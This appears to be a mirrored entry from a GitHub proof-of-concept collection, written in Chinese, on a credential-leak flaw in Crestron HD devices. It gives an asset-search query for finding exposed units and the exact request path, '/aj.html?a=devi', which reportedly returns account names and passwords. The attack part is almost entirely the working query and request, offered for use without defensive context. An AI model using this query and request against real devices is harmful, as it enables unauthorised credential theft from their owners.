mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-07-29 22:14:15 +00:00
26 lines
757 B
Markdown
26 lines
757 B
Markdown
|
# CrestronHD aj.html存在账号密码泄漏漏洞
|
||
|
|
|
||
|
|
### 一、漏洞描述
|
||
|
|
Crestron HD等系列设备 aj.html页面调用特定的参数可以获取账号密码等敏感信息
|
||
|
|
|
||
|
|
### 二、影响版本
|
||
|
|
<font style="color:#000000;">Crestron HD</font>
|
||
|
|
|
||
|
|
### 三、资产测绘
|
||
|
|
```plain
|
||
|
|
app="Crestron-HD-RX-201-C-E"
|
||
|
|
```
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
### 四、漏洞复现
|
||
|
|
```plain
|
||
|
|
/aj.html?a=devi
|
||
|
|
```
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
> 更新: 2024-08-12 17:48:53
|
||
|
|
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/cdvmx13vg4wd8fyr>
|